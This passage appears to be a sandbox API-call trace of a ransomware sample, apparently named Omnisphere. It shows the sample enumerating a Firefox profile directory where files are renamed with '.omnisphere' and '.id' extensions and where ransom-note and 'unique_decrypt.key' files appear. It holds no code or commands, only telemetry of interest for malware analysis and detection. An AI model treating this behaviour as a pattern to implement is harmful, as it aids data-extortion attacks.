(in: hFile=0x3b4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0162.042] CloseHandle (hObject=0x3b4) returned 1 [0162.042] GetProcessHeap () returned 0x1600000 [0162.042] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174d4c8 | out: hHeap=0x1600000) returned 1 [0162.042] GetProcessHeap () returned 0x1600000 [0162.042] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174bb50 | out: hHeap=0x1600000) returned 1 [0162.042] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8403501, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8403501, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1a68, dwReserved0=0x0, dwReserved1=0xa4, cFileName="1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4", cAlternateFileName="15CA1A~1.JSO")) returned 0 [0162.042] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0162.042] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\*", lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41a4a344, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41a4a344, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41a4a344, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41a4a344, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="..", cAlternateFileName="")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4180e065, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4180e065, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41ae2c8d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14723fca, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14723fca, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4179b8d1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1100, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.omnisphere", cAlternateFileName="150478~1.OMN")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4179b8d1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4179b8d1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4179b8d1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.omnisphere.id", cAlternateFileName="150478~1.ID")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x147ab83f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x147ab83f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4185a4fb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.omnisphere", cAlternateFileName="150478~2.OMN")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41834181, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41834181, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4185a4fb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.omnisphere.id", cAlternateFileName="150478~2.ID")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4853f871, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4853f871, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x418a6a17, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1c5f, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.omnisphere", cAlternateFileName="150478~3.OMN")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x418806e1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x418806e1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x418a6a17, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.omnisphere.id", cAlternateFileName="150478~3.ID")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdd249bf, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcdd249bf, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x4198b7d4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1eae, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.omnisphere", cAlternateFileName="150478~4.OMN")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4198b7d4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4198b7d4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4198b7d4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="1504783440876.798e2708-6f71-46fe-bac8-653e0a71e662.main.jsonlz4.omnisphere.id", cAlternateFileName="150478~4.ID")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8403501, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x41a7052b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.omnisphere", cAlternateFileName="15231E~1.OMN")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a4a344, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41a4a344, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41a7052b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.omnisphere.id", cAlternateFileName="156F73~1.ID")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4180e065, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4180e065, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41ae2c8d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4180e065, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4180e065, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41ae2c8d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x610064, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0162.043] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0162.043] GetProcessHeap () returned 0x1600000 [0162.043] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1745cf8 | out: hHeap=0x1600000) returned 1 [0162.043] GetProcessHeap () returned 0x1600000 [0162.043] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172a4c8 | out: hHeap=0x1600000) returned 1 [0162.043] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8403501, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x174bb48, dwReserved1=0x1600000, cFileName="2017-09", cAlternateFileName="")) returned 0 [0162.044] FindClose (in: hFindFile=0x1639768 | out: hFindFile=0x1639768) returned 1 [0162.044] GetProcessHeap () returned 0x1600000 [0162.044] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172cd28 | out: hHeap=0x1600000) returned 1 [0162.044] GetProcessHeap () returned 0x1600000 [0162.044] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625bd8 | out: hHeap=0x1600000) returned 1 [0162.044] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d5bba89, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2d5bba89, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x416dccfa, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5c5, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="session-state.json.omnisphere", cAlternateFileName="SESSIO~1.OMN")) returned 1 [0162.044] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416dccfa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x416dccfa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x416dccfa, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="session-state.json.omnisphere.id", cAlternateFileName="SESSIO~1.ID")) returned 1 [0162.044] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x145d99f2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x145d99f2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41704d09, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="state.json.omnisphere", cAlternateFileName="STATEJ~1.OMN")) returned 1 [0162.044] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41704d09, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41704d09, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41704d09, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="state.json.omnisphere.id", cAlternateFileName="STATEJ~1.ID")) returned 1 [0162.044] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416dccfa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x416dccfa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4174f584, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.044] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416dccfa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x416dccfa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4174f584, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0162.044] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.044] GetProcessHeap () returned 0x1600000 [0162.044] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c868 | out: hHeap=0x1600000) returned 1 [0162.044] GetProcessHeap () returned 0x1600000 [0162.044] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0162.044] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe967070, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe967070, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3ebca340, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x2e52, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions.json.omnisphere", cAlternateFileName="EXTENS~1.OMN")) returned 1 [0162.044] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eba4314, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3eba4314, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3ebca340, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions.json.omnisphere.id", cAlternateFileName="EXTENS~1.ID")) returned 1 [0162.045] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3fa185b6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8524, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite-shm.omnisphere", cAlternateFileName="FAVICO~2.OMN")) returned 1 [0162.045] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa185b6, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3fa185b6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3fa185b6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite-shm.omnisphere.id", cAlternateFileName="FAVICO~2.ID")) returned 1 [0162.045] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba329010, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xba329010, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3fd85ac5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x906f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite-wal.omnisphere", cAlternateFileName="FAVICO~3.OMN")) returned 1 [0162.045] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd85ac5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3fd85ac5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3fd85ac5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite-wal.omnisphere.id", cAlternateFileName="FAVICO~3.ID")) returned 1 [0162.045] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdd54ecc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdd54ecc, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3f389d54, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x500524, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite.omnisphere", cAlternateFileName="FAVICO~1.OMN")) returned 1 [0162.045] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f2f1299, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3f2f1299, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3f2f1299, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="favicons.sqlite.omnisphere.id", cAlternateFileName="FAVICO~1.ID")) returned 1 [0162.045] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdbd76e4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmp", cAlternateFileName="")) returned 1 [0162.045] GetProcessHeap () returned 0x1600000 [0162.045] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x16f5b98 [0162.045] PathCombineW (in: pszDest=0x16f5b98, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="gmp" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp" [0162.045] GetProcessHeap () returned 0x1600000 [0162.045] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16f4c80 [0162.045] PathCombineW (in: pszDest=0x16f4c80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\*" [0162.045] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdbd76e4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.045] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdbd76e4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 1 [0162.046] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="WINNT_x86_64-msvc", cAlternateFileName="WINNT_~1")) returned 1 [0162.046] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4079e226, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="WINNT_x86_64-msvc", cAlternateFileName="WINNT_~1")) returned 0 [0162.046] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.046] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdbd76e4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.046] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdbd76e4, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfdbd76e4, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x4079e226, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0162.046] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4079e226, ftCreationTime.dwHighDateTime=0x1d327ca, 